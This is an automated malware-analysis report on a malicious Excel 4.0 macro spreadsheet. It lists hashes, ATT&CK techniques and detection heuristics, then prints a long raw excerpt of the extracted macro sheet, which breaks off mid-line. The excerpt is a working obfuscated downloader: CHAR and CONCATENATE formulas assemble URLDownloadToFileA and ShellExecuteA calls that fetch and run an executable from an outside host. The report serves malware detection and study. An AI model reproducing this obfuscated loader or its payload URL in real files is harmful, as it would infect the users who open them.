Office (OOXML) malware analysis — malicious · f58cc75c7992643e

MALICIOUS

Office (OOXML)

38.5 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2020-09-15

MD5: 89bb68a0371c695ad0cb998777e72330 SHA-1: a9d17b5f77cbbd8c42269c04718c8b00f09f5f0a SHA-256: f58cc75c7992643e740237cd7f28fc0b496eb8a368bd33e7751d5efdd54131e0

230 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an Excel 4.0 macro sheet that uses dangerous functions like RUN to execute code. The document body contains a lure instructing the user to enable macros. The embedded XLM macros are designed to download and execute a payload from the URLs http://id-929734532482.com/Fromagerne1.exe and http://id-929734532482.com/Fr. The use of Excel 4.0 macros and a lure suggests a macro-based downloader.

Heuristics 7

Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: RUN, CALL, HALT critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET

Excel workbook contains 14 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://id-929734532482.com/Fromagerne1.exe In document text (OOXML body / shared strings)
- http://id-929734532482.com/FrIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	57335 bytes
SHA-256: `cdefd5c444dd6a2ad0498cc8d5863d75bc690590cbd31558257a7f36ed6a5031`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 shell/COM execution token(s).
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A1:IO1999"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><sheetData><row r="1" spans="1:111" x14ac:dyDescent="0.25"><c r="D1"><v>82</v></c></row><row r="6" spans="1:111" x14ac:dyDescent="0.25"><c r="DG6"><v>877</v></c></row><row r="8" spans="1:111" x14ac:dyDescent="0.25"><c r="AM8"><v>12</v></c><c r="BC8"><v>72</v></c></row><row r="13" spans="1:111" x14ac:dyDescent="0.25"><c r="AE13" t="b"><f>RUN($CA$998)</f><v>0</v></c></row><row r="16" spans="1:111" x14ac:dyDescent="0.25"><c r="A16"><v>1013</v></c></row><row r="20" spans="35:192" x14ac:dyDescent="0.25"><c r="GJ20" t="b"><f>RUN($BV$1385)</f><v>0</v></c></row><row r="25" spans="35:192" x14ac:dyDescent="0.25"><c r="CF25" t="str"><f>CHAR($CQ$541-506)</f><v>X</v></c></row><row r="27" spans="35:192" x14ac:dyDescent="0.25"><c r="AI27"><v>31</v></c></row><row r="42" spans="73:212" x14ac:dyDescent="0.25"><c r="BU42"><v>573</v></c></row><row r="46" spans="73:212" x14ac:dyDescent="0.25"><c r="DC46"><v>873</v></c><c r="HD46" t="b"><f>RUN($DB$511)</f><v>0</v></c></row><row r="50" spans="54:197" x14ac:dyDescent="0.25"><c r="GO50" t="str"><f>CHAR($DT$1449-913)</f><v>l</v></c></row><row r="53" spans="54:197" x14ac:dyDescent="0.25"><c r="DU53" t="str"><f>CHAR($DW$202-913)</f><v>i</v></c></row><row r="54" spans="54:197" x14ac:dyDescent="0.25"><c r="BB54" t="str"><f>$M$83</f><v>http://id-929734532482.com/Fromagerne1.exe</v></c></row><row r="57" spans="54:197" x14ac:dyDescent="0.25"><c r="GE57"><v>98</v></c></row><row r="59" spans="54:197" x14ac:dyDescent="0.25"><c r="CY59" t="b"><f>RUN($GL$298)</f><v>0</v></c></row><row r="61" spans="54:197" x14ac:dyDescent="0.25"><c r="CR61"><v>1032</v></c></row><row r="65" spans="21:248" x14ac:dyDescent="0.25"><c r="GL65"><v>74</v></c></row><row r="67" spans="21:248" x14ac:dyDescent="0.25"><c r="BZ67"><v>49</v></c><c r="FK67" t="b"><f>RUN($FW$1301)</f><v>0</v></c></row><row r="68" spans="21:248" x14ac:dyDescent="0.25"><c r="Y68" t="b"><f>RUN($HP$1087)</f><v>0</v></c></row><row r="73" spans="21:248" x14ac:dyDescent="0.25"><c r="CO73" t="str"><f>CHAR($GT$433-506)</f><v>s</v></c></row><row r="74" spans="21:248" x14ac:dyDescent="0.25"><c r="EB74" t="str"><f>CHAR($AH$471-826)</f><v>i</v></c></row><row r="79" spans="21:248" x14ac:dyDescent="0.25"><c r="HG79" t="str"><f>CHAR($B$1972-913)</f><v>R</v></c></row><row r="80" spans="21:248" x14ac:dyDescent="0.25"><c r="U80" t="str"><f>CHAR($EH$1535-913)</f><v>D</v></c><c r="IN80" t="b"><f>RUN($BB$1929)</f><v>0</v></c></row><row r="83" spans="13:228" x14ac:dyDescent="0.25"><c r="M83" t="str"><f>CONCATENATE($FI$1679,$H$797)</f><v>http://id-929734532482.com/Fromagerne1.exe</v></c></row><row r="87" spans="13:228" x14ac:dyDescent="0.25"><c r="HT87"><v>38</v></c></row><row r="96" spans="13:228" x14ac:dyDescent="0.25"><c r="BG96"><v>542</v></c><c r="BO96" t="str"><f>CHAR($FV$126-913)</f><v>e</v></c></row><row r="98" spans="99:249" x14ac:dyDescent="0.25"><c r="FG98"><v>983</v></c></row><row r="105" spans="99:249" x14ac:dyDescent="0.25"><c r="CU105" t="b"><f>RUN($BF$1191)</f><v>0</v></c></row><row r="108" spans="99:249" x14ac:dyDescent="0.25"><c r="GJ108" t="b"><f>RUN($AE$13)</f><v>0</v></c><c r="IO108"><v>73</v></c></row><row r="111" spans="99:249" x14ac:dyDescent="0.25"><c r="DY111"><v>7</v></c></row><row r="117" spans="60:240" x14ac:dyDescent="0.25"><c r="EU117"><v>563</v></c></row><row r="119" spans="60:240" x14ac:dyDescent="0.25"><c r="BH119"><v>2</v></c></row><row r="120" spans="60:240" x14ac:dyDescent="0.25"><c r="IF120"><v>65</v></c></row><row r="122" spans="60:240" x14ac:dyDescent="0.25"><c r="DG122"><v>569</v></c></row><row r="126" spans="60:240" x14ac:dyDescent="0.25"><c r="FV126"><v>1014</v></c></row><row r="147" spans="13:216" x14ac:dyDescent="0.25"><c r="AU147"><v>607</v></c></row><row r="149" spans="13:216" x14ac:dyDescent="0.25"><c r="AQ149"><v>83</v></c></row><row r="151" spans="13:216" x14ac:dyDescent="0.25"><c r="DH151" t="str"><f>CHAR($EL$644-913)</f><v>e</v></c></row><row r="152" spans="13:216" x14ac:dyDescent="0.25"><c r="HH152"><v>1018</v></c></row><row r="155" spans="13:216" x14ac:dyDescent="0.25"><c r="M155"><v>71</v></c></row><row r="157" spans="13:216" x14ac:dyDescent="0.25"><c r="FF157"><v>1027</v></c></row><row r="160" spans="13:216" x14ac:dyDescent="0.25"><c r="BF160"><v>40</v></c></row><row r="162" spans="7:240" x14ac:dyDescent="0.25"><c r="IE162"><v>67</v></c></row><row r="171" spans="7:240" x14ac:dyDescent="0.25"><c r="FC171" t="str"><f>CHAR($DG$6-826)</f><v>3</v></c><c r="IF171" t="b"><f>RUN($EB$1239)</f><v>0</v></c></row><row r="173" spans="7:240" x14ac:dyDescent="0.25"><c r="AV173" t="str"><f>CHAR($AO$1802-826)</f><v>x</v></c></row><row r="175" spans="7:240" x14ac:dyDescent="0.25"><c r="G175" t="b"><f>RUN($N$1629)</f><v>0</v></c><c r="HD175" t="b"><f>RUN($AY$1588)</f><v>0</v></c></row><row r="178" spans="71:227" x14ac:dyDescent="0.25"><c r="HS178" t="b"><f>RUN($DC$926)</f><v>0</v></c></row><row r="187" spans="71:227" x14ac:dyDescent="0.25"><c r="DS187" t="b"><f>RUN($D$1203)</f><v>0</v></c></row><row r="189" spans="71:227" x14ac:dyDescent="0.25"><c r="CS189"><v>1030</v></c></row><row r="190" spans="71:227" x14ac:dyDescent="0.25"><c r="FI190" t="str"><f>CHAR($GU$711-826)</f><v>.</v></c></row><row r="191" spans="71:227" x14ac:dyDescent="0.25"><c r="BS191" t="str"><f>CHAR($CR$61-913)</f><v>w</v></c></row><row r="198" spans="31:194" x14ac:dyDescent="0.25"><c r="GL198"><v>54</v></c></row><row r="199" spans="31:194" x14ac:dyDescent="0.25"><c r="AE199" t="b"><f>RUN($CG$1658)</f><v>0</v></c></row><row r="201" spans="31:194" x14ac:dyDescent="0.25"><c r="CC201"><v>29</v></c></row><row r="202" spans="31:194" x14ac:dyDescent="0.25"><c r="DW202"><v>1018</v></c></row><row r="206" spans="31:194" x14ac:dyDescent="0.25"><c r="DD206" t="str"><f>CHAR($EO$1565-506)</f><v>J</v></c></row><row r="207" spans="31:194" x14ac:dyDescent="0.25"><c r="EV207"><v>91</v></c></row><row r="209" spans="20:216" x14ac:dyDescent="0.25"><c r="BL209" t="str"><f>CHAR($GA$822-913)</f><v>p</v></c></row><row r="210" spans="20:216" x14ac:dyDescent="0.25"><c r="HH210"><v>1029</v></c></row><row r="212" spans="20:216" x14ac:dyDescent="0.25"><c r="HC212" t="b"><f>RUN($C$1807)</f><v>0</v></c></row><row r="214" spans="20:216" x14ac:dyDescent="0.25"><c r="GS214" t="str"><f>CHAR($DG$122-459)</f><v>n</v></c></row><row r="216" spans="20:216" x14ac:dyDescent="0.25"><c r="BS216"><v>47</v></c></row><row r="222" spans="20:216" x14ac:dyDescent="0.25"><c r="T222"><v>538</v></c></row><row r="225" spans="68:199" x14ac:dyDescent="0.25"><c r="BP225"><v>509</v></c></row><row r="228" spans="68:199" x14ac:dyDescent="0.25"><c r="GQ228"><v>51</v></c></row><row r="244" spans="15:218" x14ac:dyDescent="0.25"><c r="FJ244" t="str"><f>CHAR($EL$1014-459)</f><v>U</v></c></row><row r="247" spans="15:218" x14ac:dyDescent="0.25"><c r="AD247" t="b"><f>RUN($DZ$1244)</f><v>0</v></c></row><row r="249" spans="15:218" x14ac:dyDescent="0.25"><c r="O249" t="str"><f>CHAR($HN$434-913)</f><v>r</v></c></row><row r="253" spans="15:218" x14ac:dyDescent="0.25"><c r="EE253" t="str"><f>CHAR($CD$551-913)</f><v>t</v></c></row><row r="254" spans="15:218" x14ac:dyDescent="0.25"><c r="FV254" t="str"><f>CHAR($CG$1091-826)</f><v>e</v></c><c r="HJ254" t="str"><f>CONCATENATE($BF$624)</f><v>Open</v></c></row><row r="262" spans="28:50" x14ac:dyDescent="0.25"><c r="AB262"><v>96</v></c></row><row r="267" spans="28:50" x14ac:dyDescent="0.25"><c r="AX267"><v>1023</v></c></row><row r="279" spans="44:150" x14ac:dyDescent="0.25"><c r="ET279" t="str"><f>CHAR($S$1294-826)</f><v>F</v></c></row><row r="280" spans="44:150" x14ac:dyDescent="0.25"><c r="AR280" t="str"><f>CHAR($GR$882-506)</f><v>U</v></c></row><row r="298" spans="39:219" x14ac:dyDescent="0.25"><c r="GL298" t="b"><f>RUN($AI$1294)</f><v>0</v></c><c r="HF298"><v>65</v></c></row><row r="300" spans="39:219" x14ac:dyDescent="0.25"><c r="AM300" t="str"><f>CHAR($DG$595-459)</f><v>R</v></c></row><row r="302" spans="39:219" x14ac:dyDescent="0.25"><c r="EI302"><v>883</v></c></row><row r="303" spans="39:219" x14ac:dyDescent="0.25"><c r="ET303" t="str"><f>CHAR($FX$1655-913)</f><v>o</v></c></row><row r="304" spans="39:219" x14ac:dyDescent="0.25"><c r="HK304" t="str"><f>CONCATENATE($BT$518)</f><v>URLDownloadToFileA</v></c></row><row r="307" spans="57:194" x14ac:dyDescent="0.25"><c r="FH307" t="b"><f>RUN($W$806)</f><v>0</v></c></row><row r="313" spans="57:194" x14ac:dyDescent="0.25"><c r="BE313"><v>93</v></c></row><row r="317" spans="57:194" x14ac:dyDescent="0.25"><c r="CA317"><v>22</v></c></row><row r="319" spans="57:194" x14ac:dyDescent="0.25"><c r="GL319"><v>26</v></c></row><row r="329" spans="100:227" x14ac:dyDescent="0.25"><c r="GE329" t="str"><f>CHAR($BO$1650-506)</f><v>e</v></c><c r="HM329"><v>3</v></c><c r="HS329" t="str"><f>CHAR($DS$754-459)</f><v>2</v></c></row><row r="330" spans="100:227" x14ac:dyDescent="0.25"><c r="CV330"><v>33</v></c></row><row r="339" spans="2:203" x14ac:dyDescent="0.25"><c r="GH339" t="str"><f>CHAR($HK$1614-459)</f><v>e</v></c></row><row r="343" spans="2:203" x14ac:dyDescent="0.25"><c r="GU343"><v>34</v></c></row><row r="345" spans="2:203" x14ac:dyDescent="0.25"><c r="B345" t="b"><f>RUN($BL$1999)</f><v>0</v></c></row><row r="349" spans="2:203" x14ac:dyDescent="0.25"><c r="R349"><v>927</v></c></row><row r="350" spans="2:203" x14ac:dyDescent="0.25"><c r="GP350"><v>1023</v></c></row><row r="354" spans="90:240" x14ac:dyDescent="0.25"><c r="CL354" t="str"><f>CHAR($R$837-913)</f><v>e</v></c></row><row r="355" spans="90:240" x14ac:dyDescent="0.25"><c r="GF355"><v>23</v></c></row><row r="364" spans="90:240" x14ac:dyDescent="0.25"><c r="IF364" t="str"><f>CHAR($J$1693-506)</f><v>:</v></c></row><row r="365" spans="90:240" x14ac:dyDescent="0.25"><c r="CQ365"><v>615</v></c></row><row r="371" spans="8:166" x14ac:dyDescent="0.25"><c r="FJ371"><v>1021</v></c></row><row r="375" spans="8:166" x14ac:dyDescent="0.25"><c r="DO375"><v>21</v></c></row><row r="376" spans="8:166" x14ac:dyDescent="0.25"><c r="H376" t="b"><f>RUN($AQ$437)</f><v>0</v></c><c r="CO376" t="str"><f>CHAR($AZ$1617-913)</f><v>h</v></c></row><row r="379" spans="8:166" x14ac:dyDescent="0.25"><c r="Y379" t="str"><f>CHAR($AF$1550-913)</f><v>o</v></c></row><row r="386" spans="59:169" x14ac:dyDescent="0.25"><c r="BG386" t="str"><f>CHAR($CU$504-826)</f><v>r</v></c></row><row r="390" spans="59:169" x14ac:dyDescent="0.25"><c r="BV390"><v>87</v></c></row><row r="397" spans="59:169" x14ac:dyDescent="0.25"><c r="FM397"><v>8</v></c></row><row r="403" spans="33:237" x14ac:dyDescent="0.25"><c r="BW403" t="str"><f>CHAR($HB$621-506)</f><v>x</v></c><c r="CV403" t="str"><f>CHAR($BI$965-913)</f><v>D</v></c></row><row r="408" spans="33:237" x14ac:dyDescent="0.25"><c r="IC408" t="str"><f>CHAR($AY$1674-506)</f><v>X</v></c></row><row r="410" spans="33:237" x14ac:dyDescent="0.25"><c r="AG410" t="b"><f>RUN($GJ$108)</f><v>0</v></c><c r="CK410" t="b"><f>RUN($FK$67)</f><v>0</v></c><c r="GQ410"><v>19</v></c></row><row r="417" spans="66:122" x14ac:dyDescent="0.25"><c r="DR417" t="str"><f>CONCATENATE($GY$1440)</f><v>Shell32</v></c></row><row r="420" spans="66:122" x14ac:dyDescent="0.25"><c r="BN420" t="b"><f>RUN($IL$1933)</f><v>0</v></c></row><row r="433" spans="30:222" x14ac:dyDescent="0.25"><c r="GT433"><v>621</v></c></row><row r="434" spans="30:222" x14ac:dyDescent="0.25"><c r="HN434"><v>1027</v></c></row><row r="437" spans="30:222" x14ac:dyDescent="0.25"><c r="AQ437" t="b"><f>RUN($IN$80)</f><v>0</v></c><c r="EH437"><v>98</v></c></row><row r="443" spans="30:222" x14ac:dyDescent="0.25"><c r="AD443" t="b"><f>RUN($FG$1064)</f><v>0</v></c></row><row r="457" spans="35:132" x14ac:dyDescent="0.25"><c r="EB457"><v>598</v></c></row><row r="462" spans="35:132" x14ac:dyDescent="0.25"><c r="AI462"><v>63</v></c></row><row r="467" spans="29:215" x14ac:dyDescent="0.25"><c r="AC467"><v>534</v></c></row><row r="470" spans="29:215" x14ac:dyDescent="0.25"><c r="CP470" t="str"><f>CHAR($CN$725-826)</f><v>4</v></c></row><row r="471" spans="29:215" x14ac:dyDescent="0.25"><c r="AH471"><v>931</v></c></row><row r="473" spans="29:215" x14ac:dyDescent="0.25"><c r="EO473" t="str"><f>CHAR($DK$953-506)</f><v>I</v></c></row><row r="474" spans="29:215" x14ac:dyDescent="0.25"><c r="HG474" t="str"><f>CONCATENATE($FJ$244,$AM$300,$EQ$1398,$DR$614,$EO$1526,$DM$1694)</f><v>URLMON</v></c></row><row r="487" spans="88:129" x14ac:dyDescent="0.25"><c r="DY487" t="b"><f>RUN($AE$1205)</f><v>0</v></c></row><row r="491" spans="88:129" x14ac:dyDescent="0.25"><c r="CJ491"><v>87</v></c></row><row r="496" spans="88:129" x14ac:dyDescent="0.25"><c r="DF496" t="str"><f>CHAR($GP$350-913)</f><v>n</v></c></row><row r="503" spans="29:211" x14ac:dyDescent="0.25"><c r="HC503"><v>1033</v></c></row><row r="504" spans="29:211" x14ac:dyDescent="0.25"><c r="CU504"><v>940</v></c></row><row r="505" spans="29:211" x14ac:dyDescent="0.25"><c r="AC505"><v>67</v></c></row><row r="507" spans="29:211" x14ac:dyDescent="0.25"><c r="AE507"><v>1</v></c></row><row r="509" spans="29:211" x14ac:dyDescent="0.25"><c r="BL509"><v>52</v></c><c r="EY509" t="b"><f>RUN($AK$1102)</f><v>0</v></c></row><row r="511" spans="29:211" x14ac:dyDescent="0.25"><c r="DB511" t="b"><f>RUN($AD$443)</f><v>0</v></c></row><row r="514" spans="35:148" x14ac:dyDescent="0.25"><c r="DM514"><v>58</v></c></row><row r="518" spans="35:148" x14ac:dyDescent="0.25"><c r="BT518" t="str"><f>CONCATENATE($FE$700,$HG$79,$AT$1954,$CV$403,$ET$303,$BS$191,$DF$496,$HW$687,$DL$1981,$AX$1505,$FM$1001,$GY$1675,$ED$1995,$GQ$1163,$DU$53,$GO$50,$AA$1176,$DH$1167)</f><v>URLDownloadToFileA</v></c></row><row r="522" spans="35:148" x14ac:dyDescent="0.25"><c r="BL522"><v>884</v></c></row><row r="524" spans="35:148" x14ac:dyDescent="0.25"><c r="ER524" t="str"><f>CHAR($EZ$1212-826)</f><v>3</v></c></row><row r="525" spans="35:148" x14ac:dyDescent="0.25"><c r="EB525"><v>19</v></c></row><row r="528" spans="35:148" x14ac:dyDescent="0.25"><c r="AI528" t="str"><f>CHAR($U$1158-826)</f><v>2</v></c></row><row r="529" spans="4:125" x14ac:dyDescent="0.25"><c r="D529" t="b"><f>RUN($GB$1536)</f><v>0</v></c></row><row r="530" spans="4:125" x14ac:dyDescent="0.25"><c r="DU530"><v>39</v></c></row><row r="533" spans="4:125" x14ac:dyDescent="0.25"><c r="BB533"><v>40</v></c></row><row r="536" spans="4:125" x14ac:dyDescent="0.25"><c r="CW536" t="str"><f>CHAR($CQ$365-506)</f><v>m</v></c></row><row r="541" spans="4:125" x14ac:dyDescent="0.25"><c r="CQ541"><v>594</v></c></row><row r="547" spans="3:246" x14ac:dyDescent="0.25"><c r="IL547"><v>872</v></c></row><row r="549" spans="3:246" x14ac:dyDescent="0.25"><c r="ID549" t="str"><f>CHAR($FT$722-826)</f><v>9</v></c></row><row r="551" spans="3:246" x14ac:dyDescent="0.25"><c r="CD551"><v>1029</v></c></row><row r="553" spans="3:246" x14ac:dyDescent="0.25"><c r="DH553" t="str"><f>CHAR($EV$1340-826)</f><v>r</v></c><c r="ED553"><v>583</v></c></row><row r="556" spans="3:246" x14ac:dyDescent="0.25"><c r="C556" t="b"><f>RUN($EF$1892)</f><v>0</v></c></row><row r="567" spans="29:231" x14ac:dyDescent="0.25"><c r="AC567" t="str"><f>CONCATENATE($CT$1865)</f><v>ShellExecuteA</v></c></row><row r="572" spans="29:231" x14ac:dyDescent="0.25"><c r="HW572" t="str"><f>CHAR($BP$225-459)</f><v>2</v></c></row><row r="577" spans="2:233" x14ac:dyDescent="0.25"><c r="EK577"><v>27</v></c></row><row r="581" spans="2:233" x14ac:dyDescent="0.25"><c r="B581"><v>18</v></c></row><row r="582" spans="2:233" x14ac:dyDescent="0.25"><c r="HY582" t="str"><f>CHAR($GV$847-826)</f><v>a</v></c></row><row r="587" spans="2:233" x14ac:dyDescent="0.25"><c r="BG587" t="str"><f>CHAR($U$1690-913)</f><v>c</v></c><c r="DL587"><v>598</v></c><c r="FK587" t="str"><f>CHAR($CE$872-826)</f><v>-</v></c></row><row r="594" spans="6:244" x14ac:dyDescent="0.25"><c r="DN594" t="str"><f>CHAR($EU$117-459)</f><v>h</v></c></row><row r="595" spans="6:244" x14ac:dyDescent="0.25"><c r="DG595"><v>541</v></c><c r="HU595"><v>942</v></c></row><row r="601" spans="6:244" x14ac:dyDescent="0.25"><c r="IJ601" t="str"><f>CHAR($DX$1224-826)</f><v>5</v></c></row><row r="602" spans="6:244" x14ac:dyDescent="0.25"><c r="CP602" t="str"><f>CHAR($HD$1155-826)</f><v>o</v></c></row><row r="608" spans="6:244" x14ac:dyDescent="0.25"><c r="F608" t="b"><f>RUN($F$1237)</f><v>0</v></c></row><row r="611" spans="58:210" x14ac:dyDescent="0.25"><c r="CJ611" t="b"><f>RUN($D$529)</f><v>0</v></c></row><row r="614" spans="58:210" x14ac:dyDescent="0.25"><c r="DR614" t="str"><f>CHAR($HE$1461-459)</f><v>M</v></c></row><row r="619" spans="58:210" x14ac:dyDescent="0.25"><c r="ES619" t="b"><f>RUN($FO$1253)</f><v>0</v></c></row><row r="620" spans="58:210" x14ac:dyDescent="0.25"><c r="BP620" t="b"><f>RUN($O$1776)</f><v>0</v></c></row><row r="621" spans="58:210" x14ac:dyDescent="0.25"><c r="HB621"><v>626</v></c></row><row r="623" spans="58:210" x14ac:dyDescent="0.25"><c r="ED623" t="str"><f>CHAR($AG$1552-826)</f><v>e</v></c></row><row r="624" spans="58:210" x14ac:dyDescent="0.25"><c r="BF624" t="str"><f>CONCATENATE($CN$888,$BL$209,$AI$1896,$GC$1171)</f><v>Open</v></c></row><row r="625" spans="14:217" x14ac:dyDescent="0.25"><c r="CD625"><v>603</v></c></row><row r="627" spans="14:217" x14ac:dyDescent="0.25"><c r="HI627"><v>66</v></c></row><row r="635" spans="14:217" x14ac:dyDescent="0.25"><c r="CP635" t="str"><f>CHAR($DC$1188-826)</f><v>p</v></c></row><row r="640" spans="14:217" x14ac:dyDescent="0.25"><c r="N640"><v>611</v></c></row><row r="641" spans="80:225" x14ac:dyDescent="0.25"><c r="EK641"><v>99</v></c></row><row r="644" spans="80:225" x14ac:dyDescent="0.25"><c r="EL644"><v>1014</v></c></row><row r="646" spans="80:225" x14ac:dyDescent="0.25"><c r="HQ646" t="b"><f>RUN($FZ$1122)</f><v>0</v></c></row><row r="648" spans="80:225" x14ac:dyDescent="0.25"><c r="CB648" t="b"><f>RUN($ES$619)</f><v>0</v></c><c r="HD648" t="b"><f>RUN($AY$1345)</f><v>0</v></c></row><row r="651" spans="80:225" x14ac:dyDescent="0.25"><c r="GZ651"><v>609</v></c></row><row r="657" spans="44:222" x14ac:dyDescent="0.25"><c r="AR657" t="str"><f>CHAR($FN$1756-459)</f><v>e</v></c></row><row r="659" spans="44:222" x14ac:dyDescent="0.25"><c r="GX659" t="str"><f>CHAR($W$1480-459)</f><v>l</v></c></row><row r="662" spans="44:222" x14ac:dyDescent="0.25"><c r="DN662"><v>11</v></c></row><row r="666" spans="44:222" x14ac:dyDescent="0.25"><c r="HN666" t="str"><f>CHAR($DA$1593-826)</f><v>m</v></c></row><row r="674" spans="9:231" x14ac:dyDescent="0.25"><c r="S674" t="b"><f>RUN($EW$1803)</f><v>0</v></c></row><row r="677" spans="9:231" x14ac:dyDescent="0.25"><c r="Q677"><v>32</v></c><c r="ED677"><v>926</v></c></row><row r="682" spans="9:231" x14ac:dyDescent="0.25"><c r="DD682"><v>66</v></c></row><row r="683" spans="9:231" x14ac:dyDescent="0.25"><c r="BP683" t="b"><f>RUN($AM$1621)</f><v>0</v></c></row><row r="686" spans="9:231" x14ac:dyDescent="0.25"><c r="I686"><v>982</v></c></row><row r="687" spans="9:231" x14ac:dyDescent="0.25"><c r="HW687" t="str"><f>CHAR($HL$1894-913)</f><v>l</v></c></row><row r="690" spans="161:232" x14ac:dyDescent="0.25"><c r="FQ690"><v>44</v></c></row><row r="700" spans="161:232" x14ac:dyDescent="0.25"><c r="FE700" t="str"><f>CHAR($FY$930-913)</f><v>U</v></c></row><row r="701" spans="161:232" x14ac:dyDescent="0.25"><c r="HX701"><v>535</v></c></row><row r="707" spans="39:203" x14ac:dyDescent="0.25"><c r="AM707" t="b"><f>RUN($HS$178)</f><v>0</v></c><c r="CN707"><v>11</v></c></row><row r="711" spans="39:203" x14ac:dyDescent="0.25"><c r="DY711" t="b"><f>RUN($CX$1225)</f><v>0</v></c><c r="GU711"><v>872</v></c></row><row r="717" spans="39:203" x14ac:dyDescent="0.25"><c r="AT717"><v>88</v></c></row><row r="720" spans="39:203" x14ac:dyDescent="0.25"><c r="BT720"><v>56</v></c></row><row r="722" spans="92:176" x14ac:dyDescent="0.25"><c r="FT722"><v>883</v></c></row><row r="724" spans="92:176" x14ac:dyDescent="0.25"><c r="FP724"><v>1010</v></c></row><row r="725" spans="92:176" x14ac:dyDescent="0.25"><c r="CN725"><v>878</v></c></row><row r="748" spans="46:46" x14ac:dyDescent="0.25"><c r="AT748" t="str"><f>CHAR($BH$1089-826)</f><v>t</v></c></row><row r="754" spans="42:176" x14ac:dyDescent="0.25"><c r="DS754"><v>509</v></c></row><row r="763" spans="42:176" x14ac:dyDescent="0.25"><c r="CW763"><v>85</v></c></row><row r="766" spans="42:176" x14ac:dyDescent="0.25"><c r="FT766"><v>978</v></c></row><row r="767" spans="42:176" x14ac:dyDescent="0.25"><c r="AP767" t="b"><f>RUN($EC$1595)</f><v>0</v></c></row><row r="769" spans="16:245" x14ac:dyDescent="0.25"><c r="CU769"><v>74</v></c></row><row r="771" spans="16:245" x14ac:dyDescent="0.25"><c r="CE771" t="b"><f>RUN($GQ$860)</f><v>0</v></c></row><row r="772" spans="16:245" x14ac:dyDescent="0.25"><c r="IK772"><v>84</v></c></row><row r="773" spans="16:245" x14ac:dyDescent="0.25"><c r="P773" t="b"><f>RUN($GF$1321)</f><v>0</v></c></row><row r="774" spans="16:245" x14ac:dyDescent="0.25"><c r="EC774"><v>83</v></c></row><row r="776" spans="16:245" x14ac:dyDescent="0.25"><c r="EK776"><v>996</v></c></row><row r="782" spans="16:245" x14ac:dyDescent="0.25"><c r="CX782"><v>605</v></c></row><row r="786" spans="8:204" x14ac:dyDescent="0.25"><c r="GV786"><v>929</v></c></row><row r="787" spans="8:204" x14ac:dyDescent="0.25"><c r="K787" t="str"><f>CHAR($DF$1592-459)</f><v>3</v></c></row><row r="790" spans="8:204" x14ac:dyDescent="0.25"><c r="CS790"><v>873</v></c></row><row r="791" spans="8:204" x14ac:dyDescent="0.25"><c r="O791" t="str"><f>CHAR($GF$1205-506)</f><v>j</v></c></row><row r="796" spans="8:204" x14ac:dyDescent="0.25"><c r="ES796"><v>66</v></c></row><row r="797" spans="8:204" x14ac:dyDescent="0.25"><c r="H797" t="str"><f>CONCATENATE($AA$1454,$HN$666,$HY$582,$FF$1316,$ED$623,$DH$553,$HU$1467,$DO$1457,$AJ$1073,$HB$1599,$FV$254,$AV$173,$DI$826)</f><v>omagerne1.exe</v></c></row><row r="798" spans="8:204" x14ac:dyDescent="0.25"><c r="BA798" t="b"><f>RUN($DY$711)</f><v>0</v></c></row><row r="803" spans="23:217" x14ac:dyDescent="0.25"><c r="HI803"><v>63</v></c></row><row r="806" spans="23:217" x14ac:dyDescent="0.25"><c r="W806" t="b"><f>RUN($CK$410)</f><v>0</v></c></row><row r="809" spans="23:217" x14ac:dyDescent="0.25"><c r="AH809" t="str"><f>CONCATENATE($IF$944)</f><v>CreateDirectoryA</v></c></row><row r="816" spans="23:217" x14ac:dyDescent="0.25"><c r="AY816" t="str"><f>CHAR($EK$776-913)</f><v>S</v></c></row><row r="817" spans="17:221" x14ac:dyDescent="0.25"><c 